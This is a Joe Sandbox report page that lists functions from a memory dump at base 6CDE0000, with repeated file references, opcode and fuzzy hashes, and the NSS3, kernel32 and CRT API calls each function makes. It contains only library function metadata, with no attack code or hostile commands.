Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 40809a13b8939c8ee4fe209d191ec2cef1bdb65632d3bb0a9630976a75758d8e
Instruction ID: 987041bb12c1a3e26fead47cc24df5576f9a3cff4c078a75c87b6ec61fabc76f
Opcode Fuzzy Hash: 40809a13b8939c8ee4fe209d191ec2cef1bdb65632d3bb0a9630976a75758d8e
Instruction Fuzzy Hash: 9D515875A0030A8FDB04CFD8C884BAEB7B6BF49328F254129E8199B751D731E946CB91

Function 6CE5C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CE5CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CE5CB4B
sqlite3_free.NSS3 ref: 6CE5CB70
sqlite3_result_error_nomem.NSS3 ref: 6CE5CB99

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 462ad4494ee5a5d8516ce98885ffd498fd2e8ad0d27d08158cc5f831a2594074
Instruction ID: 75c8ee8d87d1b9f6f091fa9cb704395d29f3f6754d1b1d86417e8940fabea469
Opcode Fuzzy Hash: 462ad4494ee5a5d8516ce98885ffd498fd2e8ad0d27d08158cc5f831a2594074
Instruction Fuzzy Hash: 42510835A18B458BC741EF35C05012BFBF0BF8A798F604A0DE8D66B651EB36C4A5C792

Function 6CF24FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CE085D2,00000000,?,?), ref: 6CF24FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF2500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF250C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF250D6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 26efa4c7828e8691c8f68d584bbdc51f53ca46f5fdde0f68503a2d5b7ec7f740
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 354192B2A402168FCB18CF58DCD179AB7E1BF4431871D466DC84ACBB06E379E891CB91

Function 6CF7A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CF7A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CF7A662), ref: 6CF7A69E
Part of subcall function 6CF7A690: PR_NewCondVar.NSS3(?), ref: 6CF7A6B4

PR_IntervalNow.NSS3 ref: 6CF7A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CF7A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CF7A944
PR_SetPollableEvent.NSS3(?), ref: 6CF7A94F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 5632b9e78f98b62dfcd334f2c797cb96767b1dc1bd6f814b6bf7e16c8a7e6b28
Instruction ID: d54ae05838a9a0ab5f655ad903c3e2579c961e2ab9f3f1e8f6d08d3e95e16df7
Opcode Fuzzy Hash: 5632b9e78f98b62dfcd334f2c797cb96767b1dc1bd6f814b6bf7e16c8a7e6b28
Instruction Fuzzy Hash: E9416CB4A01A02DFC714CF29D580996FBF1FF48318716956AD449CBB51E731E860CFA0

Function 6CF37DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF37E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF37EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF37EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF37ED8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: f61a645603adb71f7aa426d2f53415e33cc07d189fdfb6972f92550b3085c8b1
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 3331A4B2A00125CFDB04CF09D9909DABBA2BF8831871A816AC85C5B751EB71EC45CBD1

Function 6CE66C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE66C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE66CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE66CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF88FE0), ref: 6CE66CFE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ae34e82ffc3f8dcd883b7881013ffa08a9c9e289e462023391627a0db7de54d4
Instruction ID: 0e7438a7fc07459fe36f5fad1c7b26218e61cc39078dbbd2d50f06b990cc5772
Opcode Fuzzy Hash: ae34e82ffc3f8dcd883b7881013ffa08a9c9e289e462023391627a0db7de54d4
Instruction Fuzzy Hash: 8E3183B5A102169FDB04DF65C851ABFBBF9EF85248B20442DD905E7750EB31D905CBA0

Function 6CF74F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF74F5D
free.MOZGLUE(?), ref: 6CF74F74
free.MOZGLUE(?), ref: 6CF74F82
GetLastError.KERNEL32 ref: 6CF74F90

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 170dfb8f575ffb89d4a3743594921119ac6dacc280904c274dbafa994fa884e8
Instruction ID: ba4c76305dd06833a40acdd56126c4ca700b0c6dc11c5ef395e045b01c897b2f
Opcode Fuzzy Hash: 170dfb8f575ffb89d4a3743594921119ac6dacc280904c274dbafa994fa884e8
Instruction Fuzzy Hash: BD312B75B002094BDB11DB69EC81BDFB7B8EF45358F04022AEC15A7681D73499058AB1

Function 6CED6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CED6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED6E57

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CED6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CED6EAA

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 889c46b91e4e33aefd7e643e0ed412486615350a2b84260c12a79a96f0a12920
Instruction ID: d76977d1165e7c63c58d131e57ee33ecabb45df67f3fb9c3f3749d25edb0a95d
Opcode Fuzzy Hash: 889c46b91e4e33aefd7e643e0ed412486615350a2b84260c12a79a96f0a12920
Instruction Fuzzy Hash: 2A318E71610513AADB145E74D804396B7B8AB0131EF320A3DDC9AD7B40EB317656CB92

Function 6CEBDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEBDDB1,?,00000000), ref: 6CEBDDF4

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEBDDB1,?,00000000), ref: 6CEBDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEBDDB1,?,00000000), ref: 6CEBDE17

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEBDE80

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: d96ecfd1b5cfaa17ccdb699f48ed8a459ad5ce0db7f443218c769ec0f7e5a540
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 5731B5B5E017429BE700CF56C9C0662B7B4BFA531CB34822EE81997B05E770E5A4CB91

Function 6CED2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CED2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CED2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CED294C
free.MOZGLUE(?), ref: 6CED2955

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 7e78aaf02e59da419301c638a41dfd4257c00d852da658678e9d6195602115cf
Instruction ID: 62f4440d90f76e6c4788000f3096baf8465a5e0720183784ca10cb9b5b66fea4
Opcode Fuzzy Hash: 7e78aaf02e59da419301c638a41dfd4257c00d852da658678e9d6195602115cf
Instruction Fuzzy Hash: 2A21E5B5A006009BE7108B2AEC09F5377F9AF9435CF26053CE44987B60FB31F85A8751

Function 6CEA4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEAB60F,00000000), ref: 6CEA5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEAB60F,00000000), ref: 6CEA501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CEAB60F,00000000), ref: 6CEA504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CEAB60F,00000000), ref: 6CEA5064

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a49fb5832bf5912b60b993d5c1d89b3b34d4d480f3924cef078036d958d21224
Instruction ID: fffe4d42bcaa8406304012a2dbcb8275a9a342a3c0a595531b859e34c2d36b37
Opcode Fuzzy Hash: a49fb5832bf5912b60b993d5c1d89b3b34d4d480f3924cef078036d958d21224
Instruction Fuzzy Hash: 653129B4A05A068FDB40EF69C4C466ABBF4FF08308F118569D859DB701E770E991CB91

Function 6CED2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CED2E08

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CED2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CED2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CED2E95

Part of subcall function 6CEC1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC1228
Part of subcall function 6CEC1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEC1238
Part of subcall function 6CEC1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC124B
Part of subcall function 6CEC1200: PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0,00000000,00000000,00000000,?,6CE688A4,00000000,00000000), ref: 6CEC125D
Part of subcall function 6CEC1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEC126F
Part of subcall function 6CEC1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEC1280
Part of subcall function 6CEC1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEC128E
Part of subcall function 6CEC1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEC129A
Part of subcall function 6CEC1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEC12A1

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 9eea7c1ded8b5929c6be0a0e432c2373a930dfd2ba3f373995881bae73a28465
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 4C21F9B1E003464BE701CF549D447AA37746FE134CF320269DD185B742F7B2F9958292

Function 6CE669B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CE66AB7,0000000C,00000001,00000000,?,?,6CE66AB7,?,00000000,?), ref: 6CE669CE

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SEC_ASN1EncodeItem_Util.NSS3(6CE66AB7,0000001C,00000004,?,00000001,00000000), ref: 6CE66A06
SEC_ASN1EncodeItem_Util.NSS3(6CE66AB7,?,00000000,?,00000001,00000000,?,?,6CE66AB7,?,00000000,?), ref: 6CE66A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CE66AB7,?,00000000,?), ref: 6CE66A42

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 779012f5be9ff2deeb9abf6d94aa1220cf0d17ea28df7070b8ec0f3f14e7b901
Instruction ID: 9f847c74a2613c45b696e8e6939eb86083e93db714e0c486f79eda05a0c56576
Opcode Fuzzy Hash: 779012f5be9ff2deeb9abf6d94aa1220cf0d17ea28df7070b8ec0f3f14e7b901
Instruction Fuzzy Hash: DF11CE71AB1601AFE710CE6ACC80B6673BDEB0065CF348629EA19D3F01E731E904C7A1

Function 6CE8ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE8ACC2

Part of subcall function 6CE62F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE62F0A
Part of subcall function 6CE62F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE62F1D

Part of subcall function 6CE62AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE60A1B,00000000), ref: 6CE62AF0
Part of subcall function 6CE62AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE62B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE8AD5E

Part of subcall function 6CEA57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE6B41E,00000000,00000000,?,00000000,?,6CE6B41E,00000000,00000000,00000001,?), ref: 6CEA57E0
Part of subcall function 6CEA57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEA5843

CERT_DestroyCertList.NSS3(?), ref: 6CE8AD36

Part of subcall function 6CE62F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE62F65
Part of subcall function 6CE62F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE62F83

free.MOZGLUE(?), ref: 6CE8AD4F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: fab05457f75013b42e13ff8d783ee31bd29320f206216bfe04563f31d1bdd8f0
Instruction ID: 52be499696d33d538448be2a8f78230436e100005292521e9523cd14700006b2
Opcode Fuzzy Hash: fab05457f75013b42e13ff8d783ee31bd29320f206216bfe04563f31d1bdd8f0
Instruction Fuzzy Hash: BE21D5B1D422148BEF10DFA5D8065EEB7B4EF1520CF254068D809BB741FB31AA49CBE1

Function 6CEB3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEB3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEB3CAE
